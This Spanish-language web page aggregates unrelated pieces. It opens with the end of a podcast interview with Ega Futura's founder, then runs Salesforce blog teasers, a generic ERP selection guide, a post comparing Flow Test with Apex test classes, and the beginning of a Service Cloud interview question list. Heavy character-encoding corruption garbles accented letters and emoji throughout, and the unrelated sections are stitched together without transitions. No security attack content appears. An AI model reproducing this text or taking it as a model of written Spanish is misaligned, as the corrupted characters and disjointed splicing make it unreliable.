S√≠, muy interesante. La segunda, Juan Manuel. ¬ŅQu√© director general o persona o colectivo te consideras fan?

[00:47:03.640] – Juan Manuel

¬Ņme considero.?

[00:47:06.060] – Raymundo

Fan o fan√°tico.

[00:47:12.070] – Juan Manuel

Vamos a utilizar la palabra fanático. Hay un montón de gente que admiro, de verdad, en diferentes aspectos. El poder de delegación que tiene Elon Musk a a mí me parece casi sobrenatural que un tipo como Elon pueda motivar Recurso Humano, convocar gente para que trabaje en sus diferentes empresas, llevarlas adelante, asignar actividades y que esas actividades se lleven a cabo y de manera correcta, eso me parece genial.

[00:48:00.390] – Raymundo

Sí, aparte, ese es uno de los grandes retos que tenemos todos cuando creamos empresas, que es el recurso humano, es de las cosas que llevan más energía en más tiempo y sin duda son las que más recompensas traen.

[00:48:15.970] – Juan Manuel

Absolutamente.

[00:48:18.100] – Raymundo

Luego, ¬Ņcu√°l es la aplicaci√≥n que no puedes dejar en paz?

[00:48:24.600] – Juan Manuel

La aplicación que no puedo dejar en paz, en términos de que la uso todo todo el tiempo?

[00:48:31.060] – Raymundo

General es software o aplicación, o sea que la usas todo el tiempo.

[00:48:38.890] – Juan Manuel

Utilizo Slack y utilizo Chatter. Chatter se puede usar adentro de Salesforce o adentro de Vida Futura, que es Chatter, es la red social de la cual te hablaba. Estoy todo el día. Slack y chat.

[00:48:55.030] – Raymundo

Okey, la comunicación. Sí. Para la audiencia.

[00:49:00.630] – Juan Manuel

Whatsapp, soy anti WhatsApp.

[00:49:03.470] – Raymundo

Eso, justo quería hacer notar eso.

[00:49:08.050] – Juan Manuel

Hay gente que me dice: No entiendo, te env√≠o un mensaje a las ocho y media de la ma√Īana y obtengo una respuesta a las cinco de la tarde. Y s√≠, entr√≥ pocas veces a WhatsApp.

[00:49:22.170] – Raymundo

Que justo en el empresarial, y depende qué edad tengamos, o es Slack, y los más jóvenes usan Discord, o sea, de veintitocos.

[00:49:34.800] – Juan Manuel

Hay mucho uso de Discord.

[00:49:36.410] – Raymundo

Ajá, mucho. Pero es nuestro Slack, cuando no había Discord, los de veintitantos usaban puro Slack, es como lo que decías hace rato, va evolucionando en dónde se mueve, en dónde trabaja, qué herramientas usa, ya muchas variables.

[00:49:55.760] – Juan Manuel

Lo que tiene una herramienta como Slack, que para quien no ¬ŅQui√©n sabe qu√© es Slack? Podr√≠amos decir que Slack es una especie de WhatsApp que tiene una aplicaci√≥n para un ordenador y aplicaciones m√≥viles, pero que al mismo tiempo se puede integrar con, literalmente, cientos de aplicaciones de negocios. Entonces, una aplicaci√≥n de negocio, como por ejemplo Shopify, puede escribir un mensaje dentro de Slack cuando una venta grande se hace o un ERP, puede enviar un mensaje a un canal de Slack comentando que hay poco producto, hay poca existencia de un producto determinado. Y eso genera conversaciones contextuales en el ambiente de negocios.

[00:50:52.390] – Raymundo

S√≠, s√≠. Exacto. Y por √ļltimo, Juan Manuel, ¬Ņqu√© consejo le dar√≠as a tu versi√≥n de 20 a√Īos?

[00:51:03.330] – Juan Manuel

Si yo tuviese que darle un consejo a una persona de 20 a√Īos que quiere crear su propia empresa y esa persona puedo ser yo mismo, le dir√≠a un mont√≥n de cosas. Lo primero, que no funde su empresa a los 20 a√Īos, cosa que hizo a los 19. Que trabaje en otra empresa como empleado, aunque sea un par de a√Īos y que trate de adquirir know-how. Yo estuve un mont√≥n de a√Īos adquiriendo know-how dentro de mi propia empresa y realmente fue muy desgastante porque hab√≠a que pagar sueldos a Recursos Humanos, hab√≠a que vender a los clientes, hab√≠a que desarrollar software, hab√≠a que dar soporte t√©cnico, muy complejo y cometi√≥ un mont√≥n de equivocaciones. Entonces, si un joven de 20 a√Īos, primero, trabaja como empleado, va a adquirir know-how y va a saber qu√© errores evita. Ese es un consejo. El otro consejo, el camino de crecimiento personal, de superaci√≥n personal, tiene que estar desde el d√≠a uno. Hay que crecer intelectualmente, hay que crecer como jefe, hay que crecer como compa√Īero, hay que crecer t√©cnicamente en lo que uno hace, hay que crecer en salud. Todo el camino de superaci√≥n personal, crecimiento personal, es algo que tiene que estar desde el principio.

[00:52:54.520] – Raymundo

S√≠, excelente. Es un constante control. Excelente, muchas gracias. Juan Manuel, ¬ŅC√≥mo le hacemos para contactarte y para usar Ega Futura?

[00:53:14.060] – Juan Manuel

Dos caminos, egafutura. Com. Es el sitio web de Ega Futura. Ah√≠ van a tener acceso a toda la tecnolog√≠a de nuestra empresa. Y dentro de LinkedIn, Juan Manuel Garrido. Hagan una b√ļsqueda por Juan Manuel Garrido, me van a encontrar. Respondo absolutamente a todos los mensajes y a todas las conexiones. Ega Futura. Com, Juan Manuel Garrido, dentro de LinkedIn.

[00:53:42.140] – Raymundo

Muchas gracias.

[00:53:44.350] – Juan Manuel

Muchas gracias a ti y te tomé la palabra para el próximo encuentro.

[00:53:49.910] – Raymundo

Excelente.

Seguir leyendo

Aumente la flexibilidad de Experience Builder con editores de propiedades y tipos personalizados ‚ėĀÔłŹ

Aumente la flexibilidad de Experience Builder con editores de propiedades y tipos personalizados ‚ėĀÔłŹ

Aprenda a hacer que sus componentes web Lightning sean visualmente interactivos y f√°ciles de configurar en Experience Builder.

Los componentes web Lightning son f√°ciles de configurar en Experience Builder

The post Mejore la flexibilidad con editores y tipos de propiedades personalizadas en Experience Builder appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

5 usos creativos de DataWeave de MuleSoft: Desencadenar la magia de la transformaci√≥n ‚ėĀÔłŹ

5 usos creativos de DataWeave de MuleSoft: Desencadenar la magia de la transformaci√≥n ‚ėĀÔłŹ

Recorre una lista de herramientas para utilizar DataWeave en diferentes escenarios, desde una aplicación de Mule con arrastrar y soltar hasta una herramienta de línea de comandos.

The post 5 Maneras de Usar el M√°gico Lenguaje de Transformaci√≥n de MuleSoft’s: DataWeave appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

La nueva herramienta de ciencia de datos para acelerar el desarrollo de la IA

Por Chi Wang y Scott Nyberg En el mundo actual, impulsado por los datos, aprovechar los datos de los clientes para mejorar las capacidades de IA sigue siendo clave para ofrecer experiencias de consumo altamente personalizadas. De hecho, el 43% de los clientes cree que la IA ha mejorado sus vidas, y el 54% est√° dispuesto a proporcionar sus datos an√≥nimos para mejorar los productos relacionados con la IA. Sin embargo, m√°s de la mitad de los clientes compartieron […]

El post Revelando la nueva herramienta de ciencia de datos: Speeding AI Development and Securing Customer Data appeared first on Blog de ingeniería de Salesforce.

La nueva herramienta de ciencia de datos acelera el desarrollo de la IA y protege los datos de los clientes

Seguir leyendo

Una guía rápida para realizar sprints en su Backlog de Salesforce

Navegar por los mares tormentosos de un extenso backlog de proyectos/tareas puede parecer abrumador para cualquiera que trabaje en proyectos de Salesforce, incluidos administradores y desarrolladores. Sin embargo, un toque de dise√Īo estrat√©gico y an√°lisis de negocio ajustado puede transformar este desalentador reto en un plan de acci√≥n organizado. Exploremos c√≥mo convertir su backlog en un instrumento de […]

El post Una guía rápida para hacer un sprint de su backlog de Salesforce appeared first on Salesforce Ben.

Seguir leyendo

Simplificación de las implementaciones de Salesforce CPQ: Estrategias para el éxito

Salesforce CPQ (Configure, Price, Quote) es una potente herramienta que agiliza el proceso de creaci√≥n de presupuestos precisos para productos y servicios. Como parte integral de Salesforce Revenue Cloud, CPQ ayuda a las organizaciones a optimizar sus procesos de ventas, mejorar la generaci√≥n de ingresos y ofrecer una mejor experiencia general al cliente. Sin embargo, implementar, desarrollar y mantener Salesforce CPQ puede ser […]

The post Cómo simplificar las implementaciones de Salesforce CPQ: Estrategias para el éxito appeared first on Salesforce Ben.

La simplificación de las implementaciones de CPQ de Salesforce: Estrategias para el éxito

Seguir leyendo

Cómo elegir el mejor Sistema ERP para tu negocio

Introducción

Un sistema ERP (Enterprise Resource Planning) es una herramienta de gestión empresarial que integra y automatiza los procesos y operaciones de una empresa en un solo sistema. Estos sistemas son fundamentales para las empresas, ya que les permiten mejorar la eficiencia, la productividad y la toma de decisiones, al proporcionar una visión completa y en tiempo real de todas las áreas de la organización.

Identificación de las necesidades específicas de su empresa

Antes de elegir un sistema ERP, es fundamental identificar las necesidades espec√≠ficas de su empresa. Cada empresa es √ļnica y tiene requisitos y procesos espec√≠ficos que deben ser considerados al seleccionar un sistema ERP. Algunos ejemplos de necesidades espec√≠ficas que las empresas pueden tener incluyen la gesti√≥n de inventario, la gesti√≥n de la cadena de suministro, la gesti√≥n financiera, la gesti√≥n de recursos humanos, entre otros.

Es importante realizar un análisis exhaustivo de las necesidades de su empresa y determinar qué funcionalidades y características son imprescindibles para su operación. Esto le ayudará a reducir las opciones de sistemas ERP y a elegir el que mejor se adapte a sus necesidades.

An√°lisis de las opciones de ERP disponibles

Existen diferentes opciones de sistemas ERP disponibles en el mercado, cada uno con sus propias características y funcionalidades. Algunas de las opciones más populares incluyen SAP, Oracle, Microsoft Dynamics, entre otros.

Es importante realizar un an√°lisis detallado de cada opci√≥n de ERP y evaluar sus caracter√≠sticas, funcionalidades, escalabilidad, adaptabilidad y facilidad de uso. Tambi√©n es recomendable investigar y leer rese√Īas de otros usuarios para obtener una idea de la experiencia de uso de cada sistema.

Comparación de precios y costos de implementación

Antes de elegir un sistema ERP, es importante comparar los precios y los costos de implementación de cada opción. Los precios de los sistemas ERP pueden variar considerablemente, por lo que es importante tener en cuenta el presupuesto de su empresa y evaluar si el costo del sistema se ajusta a sus necesidades y posibilidades.

Adem√°s del costo inicial del sistema, tambi√©n es importante considerar los costos de implementaci√≥n, como la capacitaci√≥n del personal, la migraci√≥n de datos y la personalizaci√≥n del sistema. Estos costos pueden variar seg√ļn el proveedor y la complejidad de su empresa, por lo que es importante obtener cotizaciones detalladas y comparar los costos de implementaci√≥n de cada opci√≥n.

Evaluación de la facilidad de uso y la personalización

La facilidad de uso y la capacidad de personalización son factores clave a considerar al elegir un sistema ERP. Un sistema ERP debe ser fácil de usar y comprender para que su personal pueda aprovechar al máximo todas sus funcionalidades. Además, el sistema debe ser lo suficientemente flexible como para adaptarse a los procesos y requisitos específicos de su empresa.

Es recomendable solicitar demostraciones de los sistemas ERP que está considerando y evaluar la interfaz de usuario, la navegación y la capacidad de personalización. También es importante tener en cuenta la curva de aprendizaje y la capacitación necesaria para utilizar el sistema de manera efectiva.

Consideración de la escalabilidad y adaptabilidad

La escalabilidad y adaptabilidad son factores importantes a considerar al elegir un sistema ERP. Su empresa puede crecer y cambiar con el tiempo, por lo que es fundamental elegir un sistema que pueda crecer y adaptarse a medida que su empresa evoluciona.

Es importante evaluar si el sistema ERP puede manejar un mayor volumen de datos y transacciones a medida que su empresa crece. También es importante considerar si el sistema puede adaptarse a los cambios en los procesos y requisitos de su empresa sin requerir una re-implementación completa.

Verificación de la compatibilidad con los sistemas y software existentes

Antes de elegir un sistema ERP, es importante verificar la compatibilidad con los sistemas y software existentes en su empresa. Es posible que su empresa ya tenga sistemas y software en funcionamiento que deben integrarse con el nuevo sistema ERP.

Es recomendable consultar con el proveedor del sistema ERP y verificar si el sistema es compatible con los sistemas y software existentes en su empresa. También es importante evaluar la facilidad de integración y la necesidad de personalización adicional para lograr una integración exitosa.

Asegurando un buen soporte técnico y servicio al cliente

El soporte técnico y el servicio al cliente son aspectos fundamentales a considerar al elegir un sistema ERP. Es importante asegurarse de que el proveedor del sistema ERP ofrezca un buen soporte técnico y esté disponible para resolver cualquier problema o duda que pueda surgir.

Es recomendable investigar y leer rese√Īas sobre el soporte t√©cnico y el servicio al cliente del proveedor del sistema ERP. Tambi√©n es importante evaluar la disponibilidad del soporte t√©cnico y los canales de comunicaci√≥n disponibles, como el tel√©fono, el correo electr√≥nico y el chat en vivo.

Investigación de las experiencias de los usuarios

Antes de elegir un sistema ERP, es importante investigar las experiencias de otros usuarios. Las rese√Īas y testimonios de otros usuarios pueden proporcionar informaci√≥n valiosa sobre la calidad y el rendimiento del sistema ERP.

Es recomendable buscar rese√Īas en l√≠nea, participar en foros de discusi√≥n y hablar con otras empresas que ya utilizan el sistema ERP que est√° considerando. Esto le ayudar√° a obtener una visi√≥n m√°s completa y objetiva del sistema y a tomar una decisi√≥n informada.

Tomando una decisión informada

En resumen, elegir un sistema ERP es una decisión importante para cualquier empresa. Es fundamental identificar las necesidades específicas de su empresa, analizar las opciones disponibles, comparar precios y costos de implementación, evaluar la facilidad de uso y la personalización, considerar la escalabilidad y adaptabilidad, verificar la compatibilidad con los sistemas existentes, asegurar un buen soporte técnico y servicio al cliente, investigar las experiencias de los usuarios y tomar una decisión informada que satisfaga todas las necesidades de su empresa.

Al seguir estos pasos y realizar una investigaci√≥n exhaustiva, podr√° elegir un sistema ERP que mejore la eficiencia y la productividad de su empresa, y le permita tomar decisiones informadas y estrat√©gicas. No se apresure en tomar una decisi√≥n y aseg√ļrese de elegir un sistema ERP que se adapte a las necesidades espec√≠ficas de su empresa.

Cómo aprobar el examen de certificación Salesforce Certified AI Associate

Cómo aprobar el examen de certificación Salesforce Certified AI Associate

√öltima actualizaci√≥n el 7 de septiembre de 2023 por Rakesh Gupta Como nuevo Salesforce Certified AI Associate, comparto mis experiencias de estudio contigo y quiero que seas el pr√≥ximo en superarlo As√≠ que, ¬°prep√°rese y sum√©rjase! ūüĎČ Ya que est√°s aqu√≠, es posible que desees

El post Cómo aprobar el examen de certificación Salesforce Certified AI Associate appeared first on Campeón de la Automatización.

Cómo aprobar el examen de certificación Salesforce Certified AI Associate appeared first on Campeón de la Automatización

Seguir leyendo

El escudo de la seguridad: Evitar las descargas de datos con la clasificación de datos

El escudo de la seguridad: Evitar las descargas de datos con la clasificación de datos

√öltima actualizaci√≥n el 15 de noviembre de 2023 por Rakesh Gupta Big Idea or Enduring Question: ¬ŅC√≥mo evitar la descarga de datos cr√≠ticos a trav√©s de informes? Objetivos: Despu√©s de leer este blog, ser√°s capaz de: Entender la Clasificaci√≥n de Datos Configurar la Clasificaci√≥n de Datos para Campos Entender la Seguridad de Transacciones Crear una Seguridad de Transacciones

El post El escudo de la seguridad: Prevenir la Descarga de Datos con la Clasificación de Datos appeared first on Campeón de la Automatización.

El Escudo de la Seguridad

Seguir leyendo

ūüöÄSalesforce CPQ Scenario Based Interview Question Cubriendo cada tema sobre Salesforce CPQūüéĮ

Me llamo Smriti Sharan. Soy un √°vido blogger y YouTuber. Desgloso conceptos complejos con divertidos ejemplos relacionables en tiempo real para que aprender sea divertido. ¬°¬°¬°Wow!!! Puedes… Leer m√°s ¬ę

El post ūüöÄSalesforce CPQ Scenario Based Interview Question Covering every topic on Salesforce CPQūüéĮ appeared first on .

Seguir leyendo

Salesforce Inspector Reloaded

Salesforce Inspector es una extensi√≥n de navegador (¬°una gran noticia tanto para usuarios de Chrome como de Firefox!) que le permite interactuar f√°cilmente con los datos y navegar a las secciones de configuraci√≥n de una forma m√°s eficaz que la navegaci√≥n est√°ndar. Se trata de una soluci√≥n esencial para ahorrar tiempo a todos los profesionales que trabajan con Salesforce. Este post entrar√° en los detalles […]

El post Salesforce Inspector Reloaded appeared first on Salesforce Ben.

Seguir leyendo

Uso de prueba de flujo versus clase de prueba para flujo en Salesforce

Uso de prueba de flujo versus clase de prueba para flujo en Salesforce

Introducción de la prueba de flujo

Anteriormente, si quer√≠amos probar el flujo, necesit√°bamos escribir una clase de prueba de Apex para el flujo. Con la versi√≥n Summer '22, Salesforce introdujo un marco de prueba para flujos activados por registros para automatizar las pruebas de flujos. Ahora podemos dejar que Salesforce pruebe el flujo, asegurarnos de que los resultados cumplan con las expectativas y resaltar cuando no lo sean. Ahora podemos crear y ejecutar pruebas dentro del propio generador de flujo, de forma declarativa sin escribir ning√ļn c√≥digo.

Cómo funciona

Establecer detalles de prueba, desencadenante y ruta

Proporciona una etiqueta de prueba de flujo y una descripci√≥n de la prueba. Establezca el activador de prueba en Creado/actualizado seg√ļn el escenario. La ruta de la prueba est√° configurada para Ejecutar inmediatamente.

imagen.png Establecer registro de activación inicial/actualizado

Usando la funci√≥n de b√ļsqueda, podemos buscar el registro para usarlo como plantilla inicial. Tras la selecci√≥n del registro, los campos se completan a partir del registro seleccionado. La prueba hereda los valores de campo del registro seleccionado. Sin embargo, podemos modificar los valores de estos campos antes de finalizar la prueba. La prueba no est√° vinculada a este registro pero contiene y utiliza sus valores de campo.

imagen.png Establecer afirmaciones

La aserci√≥n es una forma de comparar el resultado real con el resultado previsto. Si coinciden, entonces la afirmaci√≥n se eval√ļa como verdadera. De lo contrario, la afirmaci√≥n falla. Escriba las siguientes afirmaciones para garantizar que se cumplan los criterios de entrada de registros para el flujo y se logre el resultado esperado.

imagen.png Ejecutar prueba y ver detalles

Haga clic en el bot√≥n "Ver pruebas", seleccione el men√ļ desplegable de la prueba de flujo que queremos ejecutar y seleccione Ejecutar prueba y ver detalles.

imagen.png La prueba de flujo se ejecuta y resalta el camino que tomó la prueba. Si necesitamos probar el flujo, simplemente podemos ejecutar la prueba. Ya no es necesario configurar los datos de prueba mediante programación. ¡Esto aumenta la eficiencia de las pruebas! Si necesitamos realizar una mejora en este flujo en el futuro, necesitaremos actualizar el registro de prueba asociado en consecuencia.

imagen.png Beneficios

  1. Fácil y cómodo de usar: podemos crear registros de prueba a través de la interfaz de usuario y ponerlos a prueba.
  2. Tiempo y esfuerzo: reduce el tiempo y el esfuerzo necesarios, ya que no necesitamos escribir código, solo crear registros desde la interfaz de usuario y realizar afirmaciones.
  3. No afectará la cobertura del código existente a nivel de clase: si migramos cualquier funcionalidad del activador al flujo, la lógica subyacente del activador/clase también se limpia manualmente como parte de este ejercicio. Esto no reducirá la cobertura del código de la clase ya que la lógica se elimina por completo.
  4. Cobertura de la prueba de flujo: el porcentaje de cobertura no se captura en la prueba de flujo como podemos hacerlo a trav√©s de la clase Apex. M√°s bien es capaz de cubrir nodos. Una vez seleccionamos ‚ÄúEjecutar prueba y ver detalles‚ÄĚ. La ruta resaltada en amarillo representar√° la cobertura real del flujo desde el principio hasta el final del nodo.

imagen.png

imagen.png

imagen.png Desventaja

  1. Solo puede crear pruebas de flujo para crear, actualizar o crear/actualizar flujos activados por registros. A√ļn no se admite la eliminaci√≥n de flujos activados por registros. ‚Äď Solo para el escenario de eliminaci√≥n de registros podemos escribir una clase de prueba
  2. Puede afectar la cobertura general: dado que la cobertura de prueba general se calcula en función de la cobertura de prueba de todas las clases combinadas (promedio), si migramos cualquier característica que tenga una cobertura de prueba más alta en la clase ápice relevante, podría reducir el porcentaje de cobertura general del código. (Como actualmente solo nos estamos enfocando en migrar el activador relacionado con la cuenta para fluir, solo se ve afectada 1 clase de prueba, por lo que no hay cambios significativos en la cobertura del código Apex).
  3. Las pruebas de flujo no admiten rutas de flujo que se ejecuten de forma asincrónica. Sin embargo, no tenemos flujo asíncrono en nuestra organización. Estamos creando flujos para cubrir escenarios que se ejecutan sincrónicamente.

Recomendación

  • Podemos comenzar a dar pasos para pasar a la prueba de flujo a medida que Salesforce realiza mejoras continuas en el flujo, por lo que en versiones futuras, podemos esperar que la prueba de flujo incluya m√°s mejoras y reduzca las limitaciones.
  • Podemos comenzar escribiendo una prueba de flujo para las actualizaciones r√°pidas de campos (antes) de los flujos de activaci√≥n de registros.
  • Mejorar la cobertura de prueba de las clases que tienen menos cobertura para que podamos usar la prueba de flujo.

Preguntas m√°s frecuentes

¬ŅCu√°l es el porcentaje de cobertura para implementar Flow?

En relación con las pruebas de Apex, las pruebas de flujo no se consideran parte de la cobertura de pruebas como en el 75%+ para el despliegue de productos.

¬ŅBrindan cobertura de c√≥digo como lo hace la clase de prueba? Si no, ¬Ņdebemos pensar en eliminar el flujo de la cobertura de prueba?

Sí, cubren resaltando nodo por nodo.

¬ŅPuede confirmar si la prueba de flujo permite ejecutar pruebas masivas?

No, no admite pruebas de registros masivos. En la mayoría de los escenarios relacionados con desencadenantes, hemos creado un registro individual en la clase de prueba y verificamos los escenarios de prueba. Si reemplazamos esos desencadenantes con flujos, no habrá una gran diferencia en los casos de prueba.

¬ŅLa prueba de flujo admite la asincron√≠a?

Las pruebas de flujo no admiten rutas de flujo que se ejecuten de forma asincrónica. Sin embargo, no tenemos flujo asíncrono en nuestra organización. Estamos creando flujos para cubrir escenarios que se ejecutan sincrónicamente.

¬ŅCu√°l es el rendimiento de las pruebas de flujo en comparaci√≥n con las clases de prueba?

No veo ninguna documentación oficial, pero creo que la prueba de flujo será más rápida en comparación con la clase de prueba porque cuando ejecutamos una prueba creará una instancia de la clase y llamará a métodos individuales. Podemos ejecutar casos de prueba individuales utilizando una prueba de flujo, pero no es posible ejecutar un solo método individual desde la clase de prueba, lo que lleva mucho tiempo.

Referencia

Prueba de flujo (beta)

Consideraciones para probar el flujo

50% Me gusta VS
50% No me gusta
Seguir leyendo

ūüöÄ Gu√≠a definitiva de 150 preguntas sobre Salesforce Service Cloud: ¬°domine cada detalle! ūüĆü

Servicio_nube

Temas cubiertos en la entrevista de Salesforce Service Cloud:

  • Conocimientos generales y caracter√≠sticas
  • Gesti√≥n de casos
  • Soluciones y base de conocimientos
  • Consola de servicio
  • Portales/comunidades de clientes y agentes
  • Flujo de trabajo y automatizaci√≥n:
  • Informes y paneles en Service Cloud
  • Integraci√≥n de CTI y telefon√≠a
  • Servicio al cliente en redes sociales
  • Chat y mensajer√≠a
  • Integraci√≥n de correo electr√≥nico
  • M√©tricas y an√°lisis de rendimiento
  • Inteligencia artificial (IA) en la nube de servicios
  • Servicio de campo
  • Macros
  • Preguntas basadas en escenarios

Conocimientos generales y características

1. ¬ŅQu√© es Salesforce Service Cloud?

‚Äď Imagine que dirige una empresa y tiene toneladas de clientes que hacen preguntas o tal vez tienen problemas con su producto. Ahora, desea ayudarlos de manera r√°pida y eficiente. ¬°Ah√≠ es donde entra Salesforce Service Cloud!

2. ¬ŅC√≥mo beneficia Service Cloud a un departamento de atenci√≥n al cliente?

ni√Īo, ni√Īo, juego, malabarismo, pelota, vector, aislado, 18804576, arte vectorial, en, Vecteezy

Como empresa, usted maneja cosas agitadas que pueden ponerse cuando los clientes lo llaman, le env√≠an correos electr√≥nicos o le hacen ping en las redes sociales. ¬°Es como hacer malabares! Service Cloud es como un asistente s√ļper inteligente que ayuda a atrapar esas pelotas. Realiza un seguimiento de todos los problemas de los clientes (llamados "casos" en Salesforce), se asegura de que los vea la persona adecuada y proporciona respuestas que su equipo puede utilizar para responder m√°s r√°pido.

¬ŅLa mejor parte? Puede conectarse con sus clientes dondequiera que est√©n: por tel√©fono, en las redes sociales, lo que sea. ¬°Menos caos, m√°s choca esos cinco en la oficina!

3. ¬ŅCu√°l es la diferencia entre Salesforce Sales Cloud y Service Cloud?

Paseo en coche (#1) - Openclipart

Piense en su negocio como en un autom√≥vil. Sales Cloud es como el motor que lo impulsa hacia adelante: lo ayuda a encontrar nuevos clientes y los convence para que se sumen. Estamos hablando de gestionar contratos, realizar un seguimiento de las ventas y realizar previsiones. Ahora bien, ¬Ņla nube de servicios? Ese es su sistema de direcci√≥n y comodidad. Una vez que los clientes est√°n a bordo, se garantiza que est√©n contentos durante el viaje. Atiende sus preguntas, resuelve cualquier problema y se asegura de que disfruten tanto del viaje que querr√°n viajar contigo nuevamente.

4. ¬ŅQu√© es OmniCanal en el contexto de Service Cloud y c√≥mo beneficia a una empresa?

OmniCanal es una forma para que su empresa hable con los clientes dondequiera que prefieran: redes sociales, correo electrónico, teléfono o incluso chat en vivo. Pero es inteligente; garantiza que su equipo no se sienta abrumado y que las preguntas de sus clientes lleguen a la persona adecuada que pueda responderlas mejor.

5. ¬ŅC√≥mo mejora Service Cloud la satisfacci√≥n del cliente?

Conocer bien a sus clientes y satisfacer sus necesidades rápidamente no sólo los deja satisfechos; ¡Puede convertirlos en fanáticos de tu marca! Además, los clientes satisfechos a menudo significan que volverán y les dirán a sus amigos lo fantástico que eres: ¡todos ganan!

Gestión de casos

1.¬ŅQu√© es un caso en Salesforce?

‚Äď Imag√≠nese esto: un cliente tiene una pregunta o tiene problemas con su producto. Piden ayuda. ¬ŅEse mensaje de ayuda? En Salesforce, a eso lo llamamos "caso".

2.¬ŅC√≥mo se pueden crear casos en Salesforce?

Los casos son como boletos. En Salesforce, los casos pueden surgir de todas partes: un cliente envía un correo electrónico, completa un formulario en su sitio web, le envía un mensaje en las redes sociales o incluso llama. Cada una de estas acciones puede iniciar un caso para que su El equipo sabe que alguien necesita una mano.

3. ¬ŅQu√© es Web-to-Case y c√≥mo se utiliza?

¬ŅSabes c√≥mo puedes pedir tu caf√© con anticipaci√≥n en una aplicaci√≥n y te estar√° esperando cuando llegues? Web-to-Case es algo as√≠, pero para servicio al cliente. Permite a sus clientes completar un formulario en su sitio web cada vez que necesitan ayuda, y esa informaci√≥n se env√≠a directamente a Salesforce como un caso. De esta manera, su equipo de servicio al cliente puede comenzar a desarrollar soluciones de inmediato.

4. ¬ŅExplicar el correo electr√≥nico para enviar casos?

Piense en Email-to-Case como un puente entre su bandeja de entrada de correo electrónico de servicio al cliente y Salesforce . Cuando sus clientes le envían un correo electrónico pidiéndole ayuda, Email-to-Case lo detecta y lo convierte en un caso en Salesforce.

5. ¬ŅQu√© es la escalada de casos y c√≥mo se configura?

Una captura de pantalla de una computadora Descripción generada automáticamente

A veces, las cosas necesitan un poco m√°s de urgencia, como una entrega de pizza en 30 minutos o menos. La escalada de casos ocurre cuando un caso no se ha resuelto en un cierto per√≠odo de tiempo y sube en la lista de prioridades o incluso se entrega a un gerente. En Salesforce, esto se configura creando reglas de escalamiento que controlan el tiempo de los casos y activan una se√Īal de alerta cuando uno est√° tardando demasiado.

6. ¬ŅC√≥mo funcionan las reglas de asignaci√≥n de casos?

Se√Īales manuales de emergencia de la polic√≠a de tr√°nsito para conductores: conduzca en Malasia

Las reglas de asignaci√≥n son como los polic√≠as de tr√°nsito de Salesforce. Observan los nuevos casos que llegan y les indican la direcci√≥n correcta. Seg√ļn los detalles del caso, como de qu√© se trata o de qui√©n proviene, estas reglas los env√≠an al departamento correcto o a la persona m√°s adecuada para ayudar. Mantiene las cosas en movimiento sin problemas.

7. ¬ŅQu√© son las colas de casos y en qu√© se diferencian de las reglas de asignaci√≥n?

Las reglas de asignación dirigen los casos a personas específicas de inmediato, mientras que las colas les permiten esperar en un lugar relevante para que los tome cualquier miembro disponible del equipo.

8. ¬ŅC√≥mo se realiza un seguimiento del historial del caso?

Realizar un seguimiento del historial de un caso en Salesforce es como tener un mapa de dónde ha estado, a quién ha visitado y qué se ha hecho hasta el momento. Cada vez que alguien ve el caso, realiza un cambio o agrega algo, Salesforce toma nota de ello. Así, cualquiera que observe el caso podrá ponerse al día con su recorrido.

9. ¬ŅQu√© son los equipos de casos?

Los equipos de casos en Salesforce son como grupos de proyectos en la escuela. Puede formar un equipo de varios usuarios con diferentes roles para colaborar y resolver un caso de manera eficiente.

10. ¬ŅC√≥mo se utilizan los feeds de casos?

Los feeds de casos son como líneas de tiempo de las redes sociales para cada caso. Muestran una vista cronológica de todas las actividades, como mensajes, cambios de estado o acciones del usuario, relacionadas con un caso.

11. ¬ŅPuedes realizar un seguimiento del tiempo dedicado a cada caso?

Sí, con funciones de seguimiento del tiempo. Es como un cronómetro del trabajo: puede medir cuánto tiempo dedican los agentes a cada caso.

12. ¬ŅC√≥mo maneja Salesforce los correos electr√≥nicos masivos en la gesti√≥n de casos?

Salesforce le permite enviar correos electrónicos masivos para mantener actualizados a muchos clientes a la vez.

13. ¬ŅQu√© son los hitos del caso?

Los hitos son como puntos de control en una carrera. Son objetivos específicos que los agentes deben alcanzar dentro de un plazo determinado mientras resuelven un caso.

14. ¬ŅCu√°l es la diferencia entre un caso y una orden de trabajo?

Un caso es un registro de un problema de un cliente, mientras que una orden de trabajo es una solicitud de trabajo, a menudo utilizada para servicios de campo o tareas físicas.

15. ¬ŅCu√°les son los beneficios de utilizar Chatter para los casos?

Chatter es como una sala de chat para el trabajo. Los agentes pueden discutir casos, compartir archivos y obtener comentarios de los miembros del equipo directamente en el registro del caso.

16. ¬ŅCu√°les son los componentes de la regla de asignaci√≥n de casos en Salesforce?

En Salesforce, la regla de asignación de casos giraba en torno a dos componentes principales, como la regla de caso y los criterios de caso.

Regla de caso: una regla de caso define una o más de una condición que debe cumplirse para ser asignada a un usuario específico. Podemos agregar tantas entradas de reglas como queramos a una sola regla de asignación.

Criterios de caso: Los criterios de caso son las condiciones que se basan en diferentes factores como el origen del caso, el estado, el tipo, etc.

Soluciones y base de conocimientos

1. ¬ŅQu√© es el conocimiento de Salesforce?

Salesforce Knowledge es como una carpeta para toda la información que su equipo necesita para ayudar a los clientes. Es un lugar donde puedes almacenar artículos, preguntas frecuentes, guías de solución de problemas y más, todo organizado y fácil de encontrar.

2. Explicar el proceso de creación y mantenimiento de una Base de Conocimiento en Salesforce.

Crear una base de conocimientos es como abastecer una biblioteca. Empiece por escribir artículos; pueden ser preguntas frecuentes, guías prácticas o pasos para la solución de problemas. Una vez que haya terminado, los colocará en los estantes (es decir, los publicará en Salesforce Knowledge) y así, estarán disponibles para que los lea su equipo o incluso sus clientes. Deberá revisar sus artículos con regularidad, actualizar la información anterior y seguir agregando material nuevo para mantener todo actualizado.

3. ¬ŅCu√°l es la diferencia entre Soluciones y Art√≠culos de Conocimiento?

Libro. Antiguo libro de texto, enciclopedia, diccionario o libro de cuentos de hadas. Dise√Īo de dibujos animados felices para ni√Īos, p√°gina para colorear, estampado de camisetas, icono, logotipo, etiqueta, parche, pegatina. SVG, cliparts, vectores y ilustraciones libres de derechos.

Las soluciones son como esas viejas enciclopedias : tienen informaci√≥n √ļtil, pero son un poco b√°sicas y solo su equipo puede leerlas. Por otro lado, los art√≠culos de conocimiento son como tener una base de datos completa en l√≠nea. Son m√°s din√°micos, pueden incluir videos e im√°genes y puedes compartirlos no solo con tu equipo sino tambi√©n con tus clientes.

